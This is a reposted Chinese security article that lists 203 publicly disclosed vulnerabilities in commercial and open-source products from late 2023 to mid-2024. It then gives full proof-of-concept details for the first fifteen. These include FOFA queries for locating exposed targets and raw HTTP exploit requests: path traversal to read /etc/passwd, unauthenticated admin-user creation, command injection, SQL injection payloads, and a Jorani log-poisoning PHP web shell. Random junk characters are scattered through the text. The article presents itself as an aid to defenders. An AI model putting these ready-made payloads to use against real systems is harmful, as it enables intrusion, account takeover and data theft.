互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
% h/ E3 W! U: m4 K# b
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
7 S. f, ^% `8 T. l' \
. D. ~2 `- |8 m6 d漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
+ t$ n. W" U4 L0 ~$ w1 k# y
$ p: |! d' g$ X( N- J: w% F7 T安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

' z4 p; |  q  D- u' Z* \5 K文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
3 P5 {6 [! S% u3 h7 Q0 f% ?
! z3 S0 ^/ y; }- L' E5 k合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
; ?# f3 ]$ D5 h: ?+ G5 C; i% ]

" l# K5 A; E' g: R6 t6 H# j/ y声明

- e6 C& i) _% j. _7 j9 s! S6 Q$ I为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

' Z) V( y2 {! R5 V$ b5 R* E( A有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
+ J) v4 \$ `" ?4 E: h: n0 h2 m
" X& k6 h; D2 M9 Y

目录

' G+ F$ i. i" p01

5 f" ~' @! X8 H' k# j. e: y/ ~8 @1. StarRocks MPP数据库未授权访问
( y' `" v" k7 T* n  T2 e2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
) T4 g9 U! V9 Q( s1 v2 @' }2 [1 u5. NUUO NVR 视频存储管理设备远程命令执行
0 A6 Z5 x1 i8 w( W8 L6. 深信服 NGAF 任意文件读取
& y) I+ B9 d! ~8 A  n1 U7 B7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
+ s# n6 w3 j8 {4 ?+ f6 i& Y9. 稻壳CMS keyword 未授权SQL注入
' g- u3 b' B# _# }9 C% B10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
* R1 q7 y6 j5 [! D/ |13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
9 `) u$ D: F7 T2 ^15. 华夏ERP getAllList信息泄露
" Q; o/ V" J. @1 q9 g# i$ A% _& i16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
* N9 X& d" `( `" z1 V8 B19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ S0 ^/ Y% p& H9 d20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
$ W) Y8 f& z1 q$ r) ?23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
; R+ o' H3 k) V2 f! d24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
7 F) F; l, c, N27. 用友 NC showcontent SQL注入
% d& R. W7 G# `: I28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
9 `! m2 S( g1 m/ c' r+ S3 I30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
2 b0 [+ {: P3 ?  F% q7 J8 ~9 H33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
& z& z8 L. r( I& }36. 用友NC-Cloud soapFormat XXE
, b# o- F. |, j1 m1 g: q37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
  P$ c1 c! `. D2 T6 m40. 用友U8-Cloud XChangeServlet XXE
* J% M+ w. |) w4 L41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
$ U0 R* z8 e6 s42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
/ a& C2 u1 x$ ?6 h0 d5 ^" d/ A44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. W2 V! A3 ^0 v' B+ S8 d47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
; z3 v% d9 {- F8 t5 i# y2 j) l3 U49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
$ ?( r8 `/ u0 v  y% E2 I3 L52. 泛微E-Office json_common.php sql注入
4 I( u* M. P+ y53. 迪普 DPTech VPN Service 任意文件上传
3 [9 d9 ]+ H3 O54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
9 q! j9 A. L, Y0 ~59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
0 }5 ]7 s8 n. Q+ e( C63. IP-guard WebServer任意文件读取
/ \/ p1 ]6 o9 I$ C$ K3 ]" ]- J6 r64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
# S. ]2 C( G5 R66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
8 }9 Y7 e- D) S5 T8 T70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
$ T5 m5 h: O$ {+ E; n( \73. GeoServer wms远程代码执行
( r) g! ?& `8 O- T" O/ j74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
" T, k. Y/ t- V1 n+ ~7 q7 p# X2 ?+ M77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
/ K* @' q, u. }5 T* {2 X1 N79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
$ Q# ?. G+ |  ~, l  ?4 Y7 @3 _82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
# q8 G, L/ n* W- a5 S  s' F8 h83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
( R' r7 j* Q9 D$ L85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
. d5 H  m& i$ F: d87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
  l! Q$ v% a: M: s# a; a  A1 F( }( t89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
2 Y' B- M0 m  ?97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
6 A3 L* A/ y. \' s5 S$ s  N98. SpiderFlow爬虫平台远程命令执行
& {9 F& z7 I, l5 R. W2 L9 O8 R99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
) Y1 b2 X2 }  Z104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
+ {" X: \# s6 S  M6 Z& n/ W110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
% }0 b/ m+ s5 j' N112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
3 ]/ h) D- T) G5 M- ^114. WordPress MasterStudy LMS插件 SQL注入
; u- ~, |$ b1 _2 R115. WordPress Bricks Builder <= 1.9.6 RCE
7 M# @* p6 O2 k" Q+ Y; f116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
- y0 D, D( `( y* c118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
; s0 l% H' A; O/ N! I9 y* J' \120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
; q1 t+ L$ h2 |3 c# Y5 V2 E123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
) j& n. |# V4 d1 z+ G125. ConnectWise ScreenConnect身份验证绕过
) x/ |. v$ K( W. S126. Aiohttp 路径遍历
" f( R0 E: O; d  c2 {127. 广联达Linkworks DataExchange.ashx XXE
. V2 N  E) a  O; q8 p128. Adobe ColdFusion 反序列化
& ?/ T& U( l2 q129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
- q- l$ k; z5 M1 b132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
5 J& I3 e; {6 W3 K( F9 Z* g: d133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
4 ]. i! I/ S" g8 E1 w4 |% G137. 福建科立迅通信指挥调度平台down_file.php sql注入
6 l6 T; G- ]( Z0 i! n0 L138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
8 z- N1 \/ P) W! x3 E2 T/ E6 ^4 e139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 N2 b) i5 ]9 W$ N9 J. s( u141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
# I5 J" Q" n: g! {* a6 Y144. D-Link nas_sharing.cgi 命令注入
0 P2 y8 q6 s6 l1 b3 V3 N- R145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 L; C6 s# t' R! {146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
4 N4 v4 D# P1 T! p) _0 ?$ C151. AJ-Report 1.4.1 pageList sql注入
' @/ E+ \( H6 k' j3 ?: A8 ?4 v152. Progress Kemp LoadMaster 远程命令执行
0 U$ J/ B+ @8 e" g4 L% C, D2 a8 J153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
0 R5 y0 [" A# y4 h156. TBK DVR-4104/DVR-4216 操作系统命令注入
5 T2 D8 t" w7 ?7 g" _157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
. u+ U3 u. T! `+ r! `' N# [163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
& R& L( c% `7 ^8 m& R: J165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
# o; I- @' ^* F& D% N5 m167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
/ i! k4 @5 O$ ?; B+ c169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 h) }. L3 v# `9 \7 W171. 通天星CMSV6车载定位监控平台 SQL注入
6 Z7 z. V5 i4 ~* T4 Z172. DT-高清车牌识别摄像机任意文件读取
5 Z$ v! e+ }) a7 w5 t% d; O5 F173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
! ^' y* j* u5 a- K1 k176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
% t2 {2 A) U' e- X3 T$ U7 @+ z, C178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
, k  u  L6 _7 ^  O( m; g  E180. 帮管客 CRM jiliyu SQL注入
! r1 p+ k) A+ Q" ^  K" \3 E' ~# d181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# o6 X1 D% D( y* N182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; A; Y/ t3 s/ {5 C: p183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
$ ~' P" L9 E( _8 g. F184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
; N9 S9 n' t! p1 e! C! o. x( ~185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
- ], G/ o! a( Q8 w5 a& j( @188. 叁体-佳会视频会议 attachment 任意文件读取
. k) j  K! O- o, u9 R6 D6 B189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
7 x. f: ?; Q& I192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
( O/ F- P# T1 P# e0 u* t194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
: l3 j9 `/ O! G: k  Z9 N! `+ w195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
4 O6 ~8 _: y; C1 O196. 河南省风速科技统一认证平台密码重置
7 w* C  J) j/ n9 @/ t197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
2 O# Y* b- X  }% _5 j. b3 ~& L199. cockpit系统assetsmanager_upload接口 文件上传
8 |3 S& m! p  m) I5 n/ v200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
: u; ^2 g8 M& t  ^
( \( e9 l  s- S5 ^% V! P0 r  f5 x$ ~POC列表
- P& l: H- i+ T  v5 s0 l
02

4 c7 _) E6 u" U( G- v/ F9 E1. StarRocks MPP数据库未授权访问
& j9 ?2 ]; O) e) L0 Y7 H/ P5 mFOFA ：title="StarRocks"
, f7 `: N. o' r& E+ eGET /mem_tracker HTTP/1.1
Host: URL

1 Q; r0 o5 t$ y8 F7 v4 f9 {9 a; _# Q
6 a9 O) p2 }& ~2 W2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ m" [; c: e" _1 g5 d8 E: GConnection: close
$ [1 [/ E$ j5 l# i5 R' ?# q; qAccept: */*
Accept-Language: en
Accept-Encoding: gzip

3 x9 c" C5 o) t) k  P$ i7 W
7 _+ G  c/ U+ ]& J' b3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
5 S1 b' Z9 T& p5 [9 nHost: xx.xx.xx.xx
+ h) @/ [  o8 q; ?4 ~( ^& t
( c) F% w# ^! Z
4. EasyCVR视频管理平台存在任意用户添加
* k) q6 ]6 F& d/ x6 D* x- K# XFOFA ：title="EasyCVR"
: K! g; Z$ D1 P0 H, Q0 f
password更改为自己的密码md5
. h' s  @/ p% D$ MPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2 ]9 @+ v7 l9 C1 I: ]+ V9 b' l
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
6 T1 ]- O- \3 N( T" i& R
/ j* n4 }0 Y5 v6 V$ e& S; z; Z$ h9 m
* [! ]6 T$ Q7 d9 \+ }* W5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
9 X/ k- Q- Z/ D9 A2 A. [; J; FGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
+ O' z! i1 v' e* ]- f$ {+ n

  T; |  S) ?, o6 r& u9 K6. 深信服 NGAF 任意文件读取
# F* I& x3 r2 h2 h( Y. BFOFA：title="SANGFOR | NGAF"
+ L9 n& R# G" H; h' u; oGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
: y& }2 J/ }$ Q( l9 a$ ~* RHost:
& C8 q  E3 X. O; ]1 Q' _# g) j
/ z$ U( S$ _& o" {9 W+ r
7. 鸿运主动安全监控云平台任意文件下载
) ^7 a- w9 a' G+ G! b( h/ i& MFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:


8. 斐讯 Phicomm 路由器RCE
+ P' R7 N$ {' o/ l7 g# |- `FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

# p: S: j* a! ~& \1 D------WebKitFormBoundaryxbgjoytz
- k  v( a1 v; L- oContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
1 e3 {2 a  }* f5 x, f+ ^/ }------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

0 [! ^  a; o2 W8 I. D( z% h% J" ~12:00; id;
------WebKitFormBoundaryxbgjoytz
6 J% m" O- @- ]+ s7 hContent-Disposition: form-data; name="wifiRebootendrange"
5 ^0 p& V3 a+ a8 J
%s:
------WebKitFormBoundaryxbgjoytz
+ @+ F, u  K  hContent-Disposition: form-data; name="cururl2"


" U: K3 K) h1 o+ ^# e! s1 M------WebKitFormBoundaryxbgjoytz--
* J. p2 F1 \/ u

5 n; [1 N# p! w9. 稻壳CMS keyword 未授权SQL注入
! R3 ^$ z; s" n% V8 pFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
; U. z5 ~5 X$ W1 e- X/ ^/ J( XHost: x.x.x.x

7 c& H; q' X3 R  F
+ U" V+ |) U3 o5 [' fpayload为下列语句的二次Url编码

* [7 D6 y3 e' W' W* u0 C. U' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
7 q1 O4 P# S3 A4 b
: y. O: ^) I  V' Z, N5 N10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
3 Q* ]- r( [; f4 K% [2 I8 DPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
8 e# B/ V) L3 `) f7 lHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% X5 C8 @1 W! g% _2 w  X1 ZConnection: close
1 W4 M4 D' T! b* P) e% I$ D; F8 aContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
9 Z0 [) H8 A  P! ]9 L
* g7 m2 ^6 b* P# A* G4 r: A1 T! Z------WebKitFormBoundaryxdgaqmqu
( Y& V) L4 h6 Q' P' Z$ M. y0 iContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
$ Z- H; Q# T& o
0 s' T! C6 U$ m4 x2 o7 @jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


2 e0 |0 g: m9 A9 i# |+ x3 {+ v11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
6 D9 ]" C" W' J) W  P: t) JHost: 127.0.0.1
* _$ V9 D4 R" w# k( [& hPragma: no-cache
Cache-Control: no-cache
$ A: k( A6 h$ EUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 P9 b1 }! J) F2 i; s% gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


! {3 p9 g/ y6 D  {5 H: W12. Jorani < 1.0.2 远程命令执行
2 z% Q0 |: |6 ?3 AFOFA：title="Jorani"
# W8 u7 C: p  H- T3 G4 I+ Y第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
9 r9 T) ]- O4 i+ s" [7 A: V0 x; SUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% X' A) U% I/ v! W! C: F2 l5 y8 {Connection: close
; r9 G2 x0 `5 T* j/ F9 ^* tAccept-Encoding: gzip
0 R% G; F( V' L
9 h- F% \5 _2 Z" r6 e4 c7 B5 s
6 S0 }% ~7 `7 v% S响应中csrf_cookie_jorani用于后续请求
6 B# i# U, `9 ]! y8 M% Z) A* PHTTP/1.1 200 OK
Connection: close
! K$ b1 q$ {3 o4 A) C, {Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
' g% n+ p. `- x( w" mDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
2 H4 f/ x: D# q7 E' HLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
  Z: Z/ l4 Y* c) n/ e: \4 e( HServer: Apache/2.4.54 (Debian)
8 P: s/ Q" B/ |Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
* R* ]* g1 t: p% P6 w1 fSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

7 J1 F3 Y7 x2 g9 \
" Z7 f1 T$ b) Q& M7 uPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
$ O  N: E* `; @) ~! }Host: 192.168.190.30
4 s: l  g8 q( VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
. U: H) w2 ?: C+ [0 oAccept-Encoding: gzip
+ g0 E+ O: A! R. E3 K. E, Q* t0 B
- C+ K% p9 h  fcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
% d' p$ c/ b( c$ }) y

5 K2 O% }. G( U3 v, s
9 ]6 R& ~. Y" @7 [8 ^" |+ {1 w向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
) G9 ?, J' u* |+ [. N/ DGET /pages/view/log-2023-10-24 HTTP/1.1
& t# V2 v' x5 w  C: Z, lHost: 192.168.190.30
9 D( E3 n, Z1 E  Q+ a+ C; pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 W- g* D+ h: f3 t6 u$ ~- qConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
+ X$ ^) d' O4 L1 b- c& t0 v1 h: ?: ~X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

) F2 w4 H0 P6 Z9 H
13. 红帆iOffice ioFileDown任意文件读取
" e1 B6 e; m3 d% b4 Z: @0 X+ F& GFOFA：app="红帆-ioffice"
8 i3 u  O/ V- c8 a, cGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
. o0 X' U% Z8 ~$ c4 I8 RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
; f- P* ]; n8 E7 p) ~' f0 c: O9 kAccept-Encoding: gzip
) f. A. `& b1 l1 ]3 }9 V. W
6 h- r9 A6 r7 ]
+ ?* s% q* E1 C, \# p; d5 _14. 华夏ERP（jshERP）敏感信息泄露
9 j: l6 X/ D  qFOFA：body="jshERP-boot"
泄露内容包括用户名密码
" n# ~5 t- Q  F% uGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
- h! V) }- \$ G% r- R/ f1 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
& w9 z" X: H! G6 ^( h9 Z( gAccept-Language: en
Accept-Encoding: gzip

* c0 Z6 t0 f. v. {$ B8 |- o
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
2 E: z0 |+ m# q5 ]" JFOFA：body="jshERP-boot"
  a8 n3 e! h6 h, t' Q( Z泄露内容包括用户名密码
: o6 B4 V& e; _% j  ~+ RGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
* V0 q- c/ ^5 O1 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
